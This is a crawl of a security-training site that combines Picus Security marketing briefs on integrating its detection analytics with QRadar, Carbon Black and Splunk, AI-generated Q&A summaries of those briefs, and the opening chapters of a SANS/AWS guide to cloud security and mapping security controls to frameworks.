and visualized across log sources and rules. Picus & QRadar integration extends MITRE ATT&CK mapping to cover and pinpoint gaps for possible future intrusions, in addition to the actual events. Threat hunters can build and strengthen their scenarios according to the identified detection gaps.The Picus Detection Analytics integration for QRadar empowers SOC teams to enrich detection and for proactive prevention of threats. Through this integration: About Picus Security Inc. Picus is a simple, pervasive, continuous security validation in a box. The Picus Platform is designed to continuously and instantly measure the effectiveness of security defenses by using emerging threat samples in production environments. Picus requires minimum deployment effort and is fully automated to deliver effortless threat-centric assessments and actionable, technology-specific insights. With Picus, it is possible to leverage advanced technologies to fully utilize their potential, maximize their effectiveness, and keep a hard security baseline free of hidden gaps. For more information go to picussecurity.comPicus Cyber-Defense Validation Platform & IBM Security QRadar® SIEM Integration Query result with our sample content for QRadarAlarm screen created after defining the rule on QRadarSetting our content as a rule on QRadar 307.001.V1 EN --- ## Source: https://montance.com/questions.php?id=8 [![pdf](content/images/icons/pdf.svg) Picus & IBM Solution Brief.pdf](https://drive.google.com/file/d/12o5LSeQzEsEKMif8LLAkngpkJUUBWBFj/view?usp=sharing) Picus & IBM Solution Brief Details on enhancing QRadar SIEM capabilities using Picus detection analytics. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What two products are integrated in this solution? A: IBM QRadar SIEM and Picus Security Detection Analytics. * Q: What problem does this integration solve? A: Inconsistent log delivery and lack of context over detection capabilities. * Q: What is the 'Picus Threat Library'? A: A database containing thousands of real adversarial scenarios, malware, and exploits used for simulation. * Q: How does Picus minimize false positives in QRadar? A: By running an internal validation process based on the Picus Dictionary of compromise indicators. * Q: What specific benefit does this offer Threat Hunters? A: It allows them to build scenarios based on identified detection gaps. * Q: Does Picus provide QRadar rules? A: Yes, it provides ready-to-apply, vendor-specific correlation rules. * Q: What framework is mapped to the detection analytics? A: MITRE ATT&CK. * Q: What is the 'Picus Manager'? A: The central component that stores emulation results and manages the validation process. * Q: How often does Picus Detection Analytics operate? A: It has a 24x7 modus operandi. * Q: Can Picus identify log generation problems? A: Yes, it helps identify log generation and collection problems. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/12rW-vtpl9K-FDqSvlhcAlpz9PNkiYS9U/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/12rW-vtpl9K-FDqSvlhcAlpz9PNkiYS9U/view?usp=sharing]** PICUS SECURITY AND VMWARE CARBON BLACK SOLUTION BRIEF Introduction The Picus Platform challenges the entire security control estate in customer networks continually or on-demand by executing thousands of real adversarial scenarios. Results of these controlled tests are stored in the Picus Manager. Picus Detection Analytics is an automated module that queries endpoint process and security activities collected in EDR platforms to analyze the detection actions taken across the security control estate and compare the findings with the emulation results stored in the Picus Manager. This comparison reveals certain infrastructural visibility problems such as log delivery and alerting gaps SOC technologies may have. Picus Detection Analytics module minimizes false positives in both detecting logs and when creating alerts by running an internal validation process based on the Picus Dictionary. The Picus Dictionary is a proprietary content of compromise indicators that the Picus Labs teams continually update and maintain. Endpoint Detection and Response (EDR) technologies provide a range of telemetry to enable security professionals to discover malware that is difficult to find. These solutions come with advanced policy options, and it is important to fully utilize them to be able to remain resilient against the changing threat landscape. Building such organizational capabilities and skills are key in achieving efficient SOCs and lowering the time to detect and respond to intrusions. Well implemented and managed EDR solutions enable advanced threat discovery across all endpoints giving a complete view of every end-user activity, incident and intrusions. Working as part of the Picus Cyber-defense Validation Platform, Picus Detection Analytics Solution eliminate foundational log collection and visibility challenges, provide predictive insight by revealing undetected malicious activities and provide the SOC teams including the EDR admins with the ready to apply, vendor-specific correlation rules and policy updates to help eliminate the alerting gaps with minimal effort.VMware Carbon Black EDR Picus Security Detection Analytics & Mitigation The technology alliance between Picus Security & VMware Carbon Black helps pinpoint undetected malicious activities and provides policy and correlation rule updates specific to VMware Carbon Black EDR. VMware Carbon Black & Picus Security help customers better utilize their EDR investments Products Picus Detection Analytics Solution Overview www.picussecurity.com1 of 2Detection Analytics has an intelligent 24x7 modus operandi. It utilizes the most extensive adversarial context, covering more than 90% of the MITRE ATT&CK techniques and the largest number of malware, vulnerability exploits, and web application attack samples, thanks to Picus Threat Library. proactive detection visibility to reveal security gaps, guidance on which existing rules should be activated, detection rule content specifically developed for Carbon Black EDR.The technology integration between Picus Security and Carbon Black aims at providing: Based on the threat emulation results stored in Picus Manager, Picus Detection Analytics reveals any detection gap that may exist on Carbon Black EDR in relation to the Picus attacks. In order to empower EDR admins and engineers to address these gaps instantaneously, Picus Detection Analytics shows the already existing but not activated Carbon Black detection rules, or “watchlists” as named by Carbon Black. If there is no built-in watchlist against a malicious technique, EDR admins this time could utilize the watchlists developed by the security experts in Picus Labs’ Blue Team. These rules are provided in the Picus UI, and they are continually developed as new threats are added to the Picus Threat Library. Picus Labs applies rigorous testing processes before adding watchlists to the Picus platform in order to avoid false positives. The Picus UI helps users to easily associate gaps with false-positive free rules to alleviate alert fatigue and the overwhelming detection rule creation burden. This innovative approach and integration help users make the most out of their advanced Carbon Black EDR investments and pre-emptively mitigate cyber risk. validating if the log mechanisms work across the whole network consistently revealing the detection capabilities and configuration problems of the security stack assessing and enhancing the alerting capabilities of EDR platforms decreasing the dwell time making residual risk visible to all stakeholders making evidence-based decision making possible increasing the detection capabilities of security controls by instrumenting Picus Mitigation Library, and being in operation around the clock.Picus Detection Analytics delivers the peace of mind SOC teams need by: Picus & VMware Carbon Black Integration About Picus Security Inc. Picus is a simple, pervasive, continuous security validation in a box. The Picus Platform is designed to continuously and instantly measure the effectiveness of security defenses by using emerging threat samples in production environments. Picus requires minimum deployment effort and is fully automated to deliver effortless threat-centric assessments and actionable, technology-specific insights. With Picus, it is possible to leverage advanced technologies to fully utilize their potential, maximize their effectiveness, and keep a hard security baseline free of hidden gaps. For more information go to picussecurity.comAbout VMware Carbon Black VMware software powers the world’s complex digital infrastructure. The company’s cloud, app modernisation, networking, security, and digital workspace offerings help customers deliver any application on any cloud across any device. Headquartered in Palo Alto, California, VMware is committed to being a force for good, from its breakthrough technology innovations to its global impact. For more information, please visit https://www.vmware.com/company.html VMware and Carbon Black are registered trademarks or trademarks of VMware, Inc. or its subsidiaries in the United States and other jurisdictions. For more information go to carbonblack.comwww.picussecurity.com2 of 2Threat alarm created by a Picus rule 307.001.V1 EN --- ## Source: https://montance.com/questions.php?id=7 [![pdf](content/images/icons/pdf.svg) Picus & VMware Carbon Black SB (2020).pdf](https://drive.google.com/file/d/12rW-vtpl9K-FDqSvlhcAlpz9PNkiYS9U/view?usp=sharing) Picus & VMware Carbon Black Sb (2020) Solution brief detailing the integration of Picus detection analytics with Carbon Black EDR. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the main goal of the Picus & Carbon Black integration? A: To help customers better utilize their EDR investments and validate endpoint detection capabilities. * Q: What is 'EDR'? A: Endpoint Detection and Response. * Q: How does Picus help EDR admins? A: By providing guidance on which existing rules/watchlists should be activated. * Q: What if a watchlist doesn't exist for a specific threat? A: Picus Labs provides custom watchlists developed by their security experts. * Q: How are the watchlists delivered? A: They are provided directly in the Picus UI. * Q: What is a 'Watchlist' in Carbon Black? A: A saved search or rule used to detect specific events or behaviors. * Q: Does Picus test its watchlists? A: Yes, Picus Labs applies rigorous testing to avoid false positives. * Q: What specific attack scenario is shown in the example? A: Network Share Connection Removal Attack. * Q: What technique is used in the example attack? A: JavaScript Execution via Rundll32. * Q: What MITRE ATT&CK tactic is 'Rundll32' associated with? A: Defense Evasion and Execution. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/12riG05_mgrohbyDiKVVsTaeNfTQsDElJ/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/12riG05_mgrohbyDiKVVsTaeNfTQsDElJ/view?usp=sharing]** PICUS SECURITY AND SPLUNK SOLUTION BRIEF The Picus Platform challenges the entire security control estate in customer networks continually or on-demand by executing thousands of real adversarial scenarios. The results of these controlled tests are stored in the Picus Manager. Picus Detection Analytics is an automated module that queries security events collected in SIEM platforms to analyze the detection and prevention actions taken across the security control estate and compare the findings with the emulation results stored in Picus Manager. Picus Detection Analytics module minimizes false positives in both detecting logs and when creating alerts by running an internal validation process based on the Picus Dictionary. The Picus Dictionary is a proprietary content of compromise indicators that the Picus Labs teams continually update and maintain. Advanced capabilities of the Detection Analytics module help identify: -log generation and collection problems, -undetected threats by the security controls, -identify areas for tuning SIEM analytics Introduction Security Information and Event Management (SIEM) platforms take a centre stage in Security Operation Centers (SOCs). Efficient SOCs play a key role in lowering the minimal time to detect and time to respond to intrusions. Being able to fully utilize SIEM technologies saves substantial time to SOC practitioners. Red Teaming and Pen Testing are valuable approaches for gaining comprehensive visibility and response over the user environment, but these technologies have limitations concerning adversarial scope, repeatability, budget consumption, and use of time due to the manual work they involve. SIEM platforms are saddled with inconsistent log delivery by the security estate, and lack of context over the detection capabilities concerning the changing adversarial techniques, tactics, and procedures. Picus Detection Analytics unveils your risk associated with data collection complications and undetected adversarial activities. It empowers all your SOC processes from threat intelligence activities, incident analysis to incident response and threat hunting by providing easy to implement insights and updates. Splunk® Enterprise Security Picus Security Detection  Analytics & Mitigation The technology alliance between Picus Security & Splunk allows Picus to constantly query Splunk® Enterprise Security with advanced algorithms and matches query findings with the threat emulation results available in the Picus Platform.  The Integration provides the abilityto address the identified gaps instantaneously and deploy the Splunk specific alert rules.Products Picus Detection Analytics Solution Overview Splunk and Picus join forces to add threat-centric analytics to Security Operation Centres Working as part of the Picus Breach and Attack Simulation platform, Picus Detection Analytics Module utilizes the most extensive adversarial context, covering more than 90% of the MITRE ATT&CK techniques. It also covers the largest number of malware, vulnerability exploit, and web application attack samples. By using its rich Threat Library, Picus is able to give predictive insights for not only past intrusions which are linked to MITRE ATT&CK but also for the possible intrusions which may occur any time in the future. Picus Threat Library further extends Splunk’s advanced features and increases their utilisation, thereby increasing return on investment. Picus Detection Analytics has a 24x7 modus operandi, and the integration with Picus brings the power of the red team into the Splunk infrastructure, helping organizations detect and remediate their gaps in log collection capabilities and visibility. It provides predictive insight by revealing undetected malicious activities and provides SOC teams with ready to apply, vendor-specific correlation rules to help eliminate the alerting gaps with minimal effort. Picus & Splunk Integration The result on Splunk of a query made with our content and the attack log information Security Analysts can easily act upon the pre-emptive threat-readiness insight related to their security estate and eliminate many possible. Splunk correlation rules meticulously developed and validated by Picus Labs save SOC teams significant time. Use of MITRE ATT&CK is extended to cover and pinpoint potential gaps created by future intrusions, in addition to actual events. Threat hunters can build and strengthen their scenarios according to the identified detection gaps. It is possible to enrich day to day SOC activities with a noise-free and high-quality threat emulation context. Security Analysts can ensure that they collect required security data consistently, their prevention stack is maintained well and they flag and respond to security gaps proactively.Picus Detection Analytics empowers SOC teams to make the most of their Splunk instances. Through this integration: About Picus Security Inc. Picus is a simple, pervasive, continuous security validation in a box. The Picus Platform is designed to continuously and instantly measure the effectiveness of security defenses by using emerging threat samples in production environments. Picus requires minimum deployment effort and is fully automated to deliver effortless threat-centric assessments and actionable, technology-specific insights. With Picus, it is possible to leverage advanced technologies to fully utilize their potential, maximize their effectiveness, and keep a hard security baseline free of hidden gaps. For more information go to picussecurity.com 307.001.V1 ENAbout Splunk Splunk is the world’s first Data-to-Everything Platform. Now organizations no longer need to worry about where their data is coming from, and they are free to focus on the business outcomes that data can deliver. Innovators in IT, Security, IoT and business operations can now get a complete view of their business in real time, turn data into business outcomes, and embrace technologies that prepare them for a data-driven future. For more go to splunk.comAlarms generated on Splunk by the trigger of a rule made with our contentContent of the relevant alarm on Splunk --- ## Source: https://montance.com/questions.php?id=6 [![pdf](content/images/icons/pdf.svg) Picus & Splunk Solution brief.pdf](https://drive.google.com/file/d/12riG05_mgrohbyDiKVVsTaeNfTQsDElJ/view?usp=sharing) Picus & Splunk Solution Brief Overview of the integration between Picus security validation and Splunk SIEM. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary function of the Picus & Splunk integration? A: To add threat-centric analytics to Security Operation Centers and validate detection capabilities. * Q: How does Picus interact with Splunk? A: It constantly queries Splunk Enterprise Security with advanced algorithms and matches findings with threat emulation results. * Q: What is 'Picus Detection Analytics'? A: An automated module that queries security events in SIEMs to analyze detection actions. * Q: What coverage does the Picus Threat Library offer? A: More than 90% of the MITRE ATT&CK techniques. * Q: What is 'Continuous Security Validation'? A: Regularly testing security defenses against evolving threats to ensure ongoing effectiveness. * Q: How does this solution help with 'Alert Fatigue'? A: By identifying meaningful alerts and tuning out noise using validated correlation rules. * Q: What is 'Data Exfiltration' simulation? A: Testing if data can be successfully stolen from the network without detection. * Q: What is 'Lateral Movement' simulation? A: Testing if an attacker can move from a compromised host to other systems in the network. * Q: Does Picus provide Splunk-specific alert rules? A: Yes, the integration provides Splunk-specific alert rules to address identified gaps. * Q: What is the 'Picus Dictionary'? A: A proprietary content of compromise indicators continually updated by Picus Labs. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/133YxcsKfx9iX-2ivVn702-immKBU1G0T/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/133YxcsKfx9iX-2ivVn702-immKBU1G0T/view?usp=sharing]** 1 Practical Guide to AWS Cloud Secur ity VOLUME I Practical Guide to Security in the AWS Cloud SPONSORED BY VOLUME I Improving Visibility, Threat Detection, and Investigationsin AWSIntroduction 1. Cloud Security Overview – Frank Kim 2. What to Expect and Why it Matters – Rob Lee 3. A Practitioner’s Process to Mapping Frameworks and Standards to Technology – Josh Thurston 4. How to Optimize Security Operations in the Cloud Through the Lens of the NIST Framework – John Pescatore Automating Compliance and Securing Data and Applications in AWS 5. How to Automate Compliance and Risk Management for Cloud Workloads – Matt Bromiley 6. How to Build a Data Security Strategy in AWS – Dave Shackleford 7. How to Design a Least Privilege Architecture in AWS – Dave Shackleford 8. How to Secure App Pipelines in AWS – Dave Shackleford 9. How to Protect a Modern Web Application in AWS – Shaun McCullough Enhancing Protection of Applications, Devices, and Networks 10. How to Protect Enterprise Systems with Cloud-Based Firewalls – Kevin Garvey 11. How to Implement a Software-Defined Network Security Fabric in AWS – Dave Shackleford 12. How to Build an Endpoint Security Strategy in AWS – Thomas J. Banasik 13. How to Leverage a CASB for Your AWS Environment – Kyle Dickinson Improving Visibility, Threat Detection, and Investigations in AWSTable of Contents 8 5 10 18 38 49 65 78 96 114 127 142 151 314. How to Build a Security Visibility Strategy in the Cloud – Dave Shackleford 15. How to Improve Security Visibility and Detection/Response Operations in AWS – Dave Shackleford 16. How to Build a Threat Detection Strategy in Amazon Web Services (AWS) – David Szili 17. How to Perform a Security Investigation in AWS – Kyle Dickinson 18. How to Leverage Endpoint Detection and Response (EDR) in AWS Investigations – Justin Henderson 19. How to Build a Threat Hunting Capability in AWS – Shaun McCullough Solution Guidance in AWS 20. Solution Guidance for Application Security in AWS – Nathan Getty 21. Solution Guidance for Cloud-Based Firewalls in AWS – Brian Russell 22. Solution Guidance for Endpoint Security in AWS – David Hazar 23. Solution Guidance to Cloud Security Posture Management in AWS – Kyle Dickinson 24. Solution Guidance for SIEM in AWS – J. Michael Butler 25. How to develop a scalable security strategy in a multi-account environment in AWS – Nam Le Prioritizing Security Controls in AWS 26. How to Prioritize Security Controls for Better Visibility and Context in AWS – Sounil Yu 27. How to Prioritize Security Controls for Sensitive Data and Applications in AWS – Sounil Yu Conclusion: Sounil Yu189 206 216 230 252 265 280 303 312 334 349 363327173160 Improving Visibility, Threat Detection, and Investigationsin AWS Introduction 5“Cloud computing has become a major defining factor in the current and future state of information security, with the business reasons for moving to the cloud simply too overwhelming to ignore. However, the cloud represents big change for almost all organizations, and security must be part of that evolution in order to succeed. In terms of industry momentum, we’ve now reached the point where every cybersecurity professional needs to be knowledgeable about the cloud to varying degrees. As a security professional, you need to do three things in parallel: • Understand how the major cloud providers work and the plenitude of services that they offer. • Understand the technical details of each platform to ensure that you have secured your specific implementation appropriately. • Ensure your teams transform the way they do their work in order to leverage cloud services and automation in a way that improves the effectiveness of security itself.”Frank Kim SANS Faculty Fellow and Curriculum Lead Chapter 1: Cloud Security Overview Introduction Improving Visibility, Threat Detection, and Investigationsin AWSThis book provides you with a comprehensive collection of technical resources that you can use to arm yourself with the foundational knowledge required in today’s cloud-first world. Taken together, these resources model the whole life cycle of security, touching on aspects of the functions of the NIST Cybersecurity Framework—Identify, Protect, Detect and Respond. This collection is a good place to start if you’re looking to build out your cloud security knowledge base, because the technical detail provided in these reports and guides will enable you to start crafting a technical roadmap for your organization’s transition to the cloud. The reason I say that this is a good place to start, however, is that it’s what you do next with the information you learn that matters most. Building and leading a cloud security program is not just about the technical controls; it’s about the management, governance, people and process items as well. It’s not just about implementing the right technology; it’s also about the overall mission and vision of the organization. So the question becomes, how do you align with that mission to ensure that you’re achieving the larger business objectives in addition to your technical activities? It might not be obvious, but the topics described in these resources are the foundational elements of your overall cloud security journey. Think of each resource as a piece of the puzzle that, once put together, creates a bigger picture. Now, it’s up to you to connect the dots. As you read, I encourage you to challenge yourself to think about how these papers come together to create a broader view of the cloud. Doing so will enable you to build an overall cloud security roadmap for your business—not just a technical roadmap, but a business roadmap for the cloud. It’s a valuable exercise, to be sure, and it will make all the difference if you go into it with a strong understanding of your business objectives and drivers. With your business reasons for moving to the cloud top of mind, you’ll be better able to lay out your objectives and roadmap to ensure that you accomplish what you need to in your first year and beyond. It can be challenging to see how the day-to-day security activities discussed in these resources contribute to achieving your overall business goals, but you can treat this book as a checklist of sorts, and check things off in your mind as you read about the capabilities you need to implement in your organization. By doing so you will steadily improve the maturity of your overall cloud security program. Introduction 7Just as the web has defined the previous 20 years of technology change, I believe that the cloud will be the defining element of the next 20 years. If you haven’t already started building your cloud security knowledge and roadmap, there’s no better time to start than now. About the Author Frank Kim leads the management and cloud security curricula for SANS, developing courses on strategic planning, leadership, DevSecOps and cloud security. He is also a SANS faculty fellow and author of MGT512, MGT514, and SEC540. Previously, Frank served as CISO at the SANS Institute, leading its information risk function, and was executive director of cybersecurity at Kaiser Permanente, where he built an innovative security program to serve one of the nation’s largest not-for-profit health plans and integrated healthcare provider. Currently, as founder of ThinkSec, a security consulting and CISO advisory firm, Frank helps leaders develop business-driven security programs. IntroductionRob Lee SANS Fellow and Chief Curriculum Director and Faculty Lead Section 1: Automating Compliance and Securing Data and Applications in AWS “The rapid adoption of moving to cloud infrastructure across an organization has only accelerated recently, due to supporting remote workforce and customer needs universally. Addressing compliance in the face of such rapid change should ensure that critical data and applications remain secure across this technological shift.” Section 2: Enhancing Protection of Applications, Devices, and Networks “Security should never be an afterthought, even in the cloud. Securing cloud data and capabilities is a critical step in proper deployments and should not be quickly implemented without adequate understanding. Cloud security mechanisms are not insurmountable and can be applied to ensure lower risk profiles and key monitoring to detect threats. This is the cloud equivalent of not skipping “leg day” at the gym—don’t skip cloud security.” Section 3: Improving Visibility, Threat Detection, and Investigations in AWS “Cloud threat hunting, detection, and mitigation should not be frustrating. Cloud capabilities to enable threat detection and response over the past few years have enabled organizations to get ahead of threats before they become the next headline. The challenge, though, has been educating security teams to understand how to leverage these new capabilities into their security operations capabilities. This section covers many areas that are now required reading for organizations to operationalize a proper detection, response, and mitigation capabilities across the cloud.”Chapter 2: What to Expect and Why it Matters 9 About the Author Rob graduated from the U.S. Air Force Academy and served in the U.S. Air Force as a founding member of the 609th Information Warfare Squadron, the first U.S. military operational unit focused on information operations. Later, he was a member of the Air Force Office of Special Investigations (AFOSI) where he led a team conducting computer crime investigations, incident response, and computer forensics. Prior to starting his own firm, he directly worked with a variety of government agencies, U.S. Department of Defense, and intelligence communities as the technical lead for a vulnerability discovery and an exploit development team, lead for a cyber forensics branch, and lead for a digital forensic and security software development team. Rob was also a director for MANDIANT, a company focused on investigating advanced adversaries, such as the APT, for five years prior to starting his own business. Rob co-authored the book Know Your Enemy, 2nd Edition. Rob earned his MBA from Georgetown University in Washington DC. Rob is also a co-author of the MANDIANT threat intelligence report M-Trends: The Advanced Persistent Threat.Section 4: Solution Guidance in AWS “I always joke with my friends and family that I can fix anything with duct tape and YouTube. Understanding concepts and capabilities in cloud security are good to know. Having a useful how-to guide is key to solving quick problems and gaining experience effectively—just like having duct tape and YouTube. Having key cloud walk-throughs on where to begin is the best thing about this book.” Introduction“The digital world has gravitated towards building a cybersecurity practice based on frameworks and standards. The number of frameworks has grown in volume, spanning industries including healthcare, financial services, retail, government, and just about everything in between. Framework adoption growth is driven by mandates such as the Payment Card Industry mandate for any organization processing payment cards (credit and debit cards) to be PCI-DSS compliant. Other frameworks are used as a matter of choice. Take the NIST Cybersecurity Framework as an example. U.S. President Donald Trump signed the Cybersecurity of Federal Networks Executive Order, which requires federal agencies to follow the NIST CSF. The NIST CSF is a mandate for federal agencies, while private sector organizations may choose to follow the NIST CSF. To consolidate the usage of the terms “frameworks” and “standards,” this chapter will combine them into a single term: “blueprint.” The ideology of using a blueprint has changed from a nice-to-have to an expectation. This movement stems from regulations and, in some cases, executive orders, as previously described. While the mindset of a buyer has shifted to blueprints, a challenge still exists. Industry blueprints are complex, and it can be challenging for buyers to know which products or services are available as they relate to a ‘control’ within the buyer’s blueprint. To overcome this, security vendors began mapping their products and services to various blueprints. This can be an exhaustive exercise for sellers who ultimately want to meet buyer’s needs, but the mappings Josh Thurston Sr. Category Lead, Security at AWS Chapter 3: A Practitioner’s Process to Mapping Frameworks and Standards to Technology 1111often do not perfectly align with the blueprints. Buyers and sellers both require an in-depth understanding of the blueprints available for use, and how to correctly map services to the blueprint controls. The community needs a methodology to help individuals, organizations, and software vendors overcome the mapping challenge so that they are equipped to accurately map a blueprint to a product or service while understanding the true intent the blueprints are aiming to provide.” Practitioner’s Process The process may vary slightly between each of the blueprints, but this process can be followed to achieve the mission by using a small set of key primitives. Primitive One Read the control and ask: Is the control looking for People, Process, or Technology? For activities or actions that are manual, the answer is People. This can and should include people interfacing with technology, such as manually recording information on an asset. Process includes activities such as documentation, communications, escalations, analysis, and logic. Technology may be the most confusing of the three because it has become an integral part of people and process. Technology provides value to people by helping them scale, gain useful insights, automate processes, and accelerate work output. An example to describe the difference between People, Process, and Technology A bank has a datacenter with restricted physical access. Susan needs to enter the datacenter to update the firmware on several servers. When Susan approaches the entrance to the datacenter, she is greeted by a security guard. Susan signs the datacenter sign-in sheet, and the guard checks her identification and looks her up in the system to verify she has the authorization to enter. The security guard assigns an escort who accompanies Susan and monitors what servers she works on. This is all about People because the security guard is manually checking her identification and looking her up in the system. Process comes into scope because the security guard has a checklist of tasks to complete for any datacenter visitor. The security guard validates identification, records the visitor with date and time, and finally assigns an escort who logs what servers the visitor gains physical access to. This process is set by the organization for historical reference. Very little technology has come into play, but the introduction of technology can make this example more modern. Susan approaches the datacenter and scans her Introductionemployee badge at the entry door. The back-end technology validates she is authorized to enter while recording her identity and the date and time of her entry. Technology can also track what server racks she swipes her badge at to create a trail of physical access to the racks. When Susan logs into any of the servers another trail of events is recorded. Technology may not have eliminated the security guard, but it may be possible to eliminate the need for the escort. *The remainder of the primitives and examples will focus on technology.* Primitive Two The definition or true meaning of a control within the blueprint needs to be understood. To accurately identify a technology, ask the question: Does the primary function of the technology meet the control? Consolidating and packaging multiple capabilities into a single solution has become increasingly desirable and serves as a driving force to evolve technology. Vendors work continuously to provide more value in a solution while meeting customer consolidation demands. In other words, customers want to do more with less, and vendors want to streamline development and delivery. Unfortunately, there is not a universal security solution that can deliver total security coverage. Products should have a primary function that is the basis for why a customer buys and uses it. Additional features are beneficial and provide value, but there is risk in delivering too many features with less quality. Outliers exist, but it is recommended to think of products for the primary function first when mapping. Let’s look at a mapping exercise using the NIST CSF Sub-category PR.DS-1: Data at Rest is Protected . A product such as Data Encryption for Files and Folders protects data at rest, thus preventing unauthorized access. The primary function of the Data Encryption for Files and Folders software is to protect data at rest and it meets the control requirement as described in the NIST CSF. Notice that the product is Data Encryption for Files and Folders, not the term Encryption alone. The term Encryption has too many options. People shop for products with a use case or a problem to solve in mind. One person may shop for encryption to encrypt data (files) while another person may shop for encryption to encrypt network traffic. The need to use very specific product categories or types is essential. Look back at the title of PR.DS-1. Now notice the three words that are in bold and recognize that this requires technology (primitive one), and the true meaning of the control is Protect + Data + [at] Rest. Primitives one and two have been achieved. If someone rushed through the mapping exercise, they could do this incorrectly in several ways resulting 1313in mapping a data discovery tool, an email encryption solution, or even a SIEM, as explained in the next example. Also, of note is that Data at Rest could define a couple of different things in that they may have varying solutions. Data at Rest could be interpreted as data on a drive, stored in something like an Amazon S3 bucket or a database, and even in a cloud storage and sync solution such as Dropbox. The compensating controls for each of those may vary from disk encryption, removable media encryption, or database encryption, and much more. Mapping seldom yields one solution, but the primitives hold up for every iteration. Improper mapping A product such as a SIEM solution can be used to log, aggregate, and correlate events related to data at rest. The primary function of a SIEM does not protect data at rest and does not meet the control requirement. A SIEM receives information (events) from various data sources in the environment that provide context (Who, What, When, Where, Why, How) to reveal unauthorized access and usage related to data at rest. Mapping a SIEM solution to PR.DS-1 would be incorrect because it cannot protect the data. All of the logs and events collection are after the fact. Primitive one is achieved by identifying Technology, but the second primitive is failed because the true definition was not matched properly with the technology capability based on a single word. Primitive Three Is the mapping believable? The second primitive is often difficult and takes a lot of time to complete. This third primitive is equally important because products are typically purpose-built. The notion that a product can identify, protect, detect, respond, and recover is false for most technologies today. Let us look at a new example using the Functions of the NIST CSF and endpoint protection technology. Essentially, we are working the opposite direction as the previous examples where we looked at the control and mapped technology to it. Now we will look at a technology and break it apart to map it to controls. A modern-day endpoint protection technology typically cannot identify, protect, detect, respond, and recover against vulnerabilities, threats, and exploits. The very name of the technology group signals the primary function, Protection. To better understand this concept, it is important to dig deeper into each of the five functions. Then we can accurately map to controls by narrowing the scope of the functions to examine and use the primitives for mapping. IntroductionThe five functions of the CSF This first of five functions in the CSF, Identify, is speaking to the identification and inventory of assets within an organization. In addition to assets, Identify also includes the inventory and identification of threats in the world. Both Inventory and Identification are not primary functions for most endpoint protection products. Those products are typically using one or more backend services such as signatures, reputation lookup services, or machine learning (ML) and artificial intelligence (AI). Those backend services are designed to identify and inventory threats AND provide the inventory with threat information to endpoint technologies. The inventory and threat information doesn’t have to be part of the endpoint protection product either. In many of the solutions available today, that information can be available as a quick reputation lookup. Endpoint protection products extract information such as MD5 hash and check the reputation of the file in a service. Lastly, ML and AI technology typically do not have threat information baked in. These offerings are most often created to quickly examine attributes and even behaviors to determine if the sample is good or bad rather than referencing a signature or even a reputation service. The cybersecurity ML/AI technology space is complex and requires a separate discussion. For simplicity purposes, note that they do not have an inventory capability. The Protect function of the CSF is speaking to the primary function of many endpoint technologies. These technologies are deployed and configured to protect and reduce risk. This is achieved by reducing access and eliminating the ability to exploit a vulnerability. Evidence is seen in the form of blocking an unauthorized attempt to access a service, registry key, port, credentials, etc. The key to success or failure is the configuration and the upstream technology mapped to the Identify function. If an endpoint protection product is configured improperly, it will produce a false negative or false positive. The product may miss something it was intended to stop, and the product may stop something it was intended to allow. Configuration is crucial to success and depends on the organizational risk tolerance (too tight vs. too lenient). This balancing act is a driving force for years of innovation within the endpoint protection space resulting in signature-less, ML/AI products, sandboxing, and even reputation services to integrate with. The Detect function of the CSF aligns to a subset of endpoint technologies, including but not limited to Endpoint Detection and Response (EDR). EDR solutions came to fruition because endpoint protection solutions are not perfect. Not only do endpoint protection products miss threats from time to time, they often collect a different type of data compared to EDR products. If an endpoint technology fails to protect an asset, it is typically because it was: 1. Configured incorrectly 1515 2. Not capable of protecting a vulnerability (known or unknown) 3. Not informed of the threat from an upstream service (DAT, Reputation, ML/AI) In these three scenarios where an endpoint technology creates an event for a successful exploit, it essentially means that Protect failed. Failing to protect while logging the event does not mean that the product is meeting the Detect function because the product is technically logging security events, not a threat. Some individuals experience cognitive dissonance because they are trained to think that endpoint protection products detect threats. This is false when the product failed the primary function of detecting the threat based on unique identifiable attributes. Endpoint protection products leverage signatures and reputation lookup services while monitoring for suspicious behavior associated to a known vulnerability. If and when suspicious behaviors occur, the product alerts on the behavior but has no knowledge of the threat. In that moment, the separation of failures occurs. The product is revealing an incorrect A) configuration where the product was set to allow a threat, B) failure to protect a known vulnerability, or C) the failure to source information about a known threat. Another issue with Detect is false positives. Often technology will match a behavior and create an alert in the absence of threat information. A supporting example: • An endpoint technology may be configured to protect a known threat that sends mass emails out from an endpoint. If the product is truly protecting, it will recognize the unique identifiable attributes and stop it. • If the product alerts because a mass email was sent, the alert is based on the behavior. In this case, the product may false-positive when an actual user sends an email to a large number of recipients because it recognized the behavior in the absence of a threat. The Respond function is once again a very small subset of endpoint technology. If a technology fails to identify a threat, fails to protect an asset vulnerability from a known threat, and properly detects an attempt on an unknown vulnerability then it will, in most scenarios, not be equipped to automatically respond. The Respond function requires human decision making and/or configuration. The small subset of products that are truly Respond technologies are built with ML/AI to rapidly or Introductionautomatically make human decisions as a means to meet scale and scope. Using the EDR product category as an example should hold up. EDR products do not protect or reduce security risk, but they do have the capability to detect suspicious behaviors. But where does Response fit in? An EDR administrator or user can create rules in an EDR product for a response capability. Often an administrator recognizes a set of behaviors that are not desirable within the organization. The behaviors may be based on company policy or they are known malicious behaviors. Perhaps an organization does not want PowerShell to launch a specific behavior. These behaviors can be blocked (Response) automatically by configuration. Users can also learn of behaviors and leverage EDR to manually issue a response, such as terminate process or delete a file. Another area where cognitive dissonance sets in relates to automation technologies such as Security Orchestration Automation Response (SOAR). These 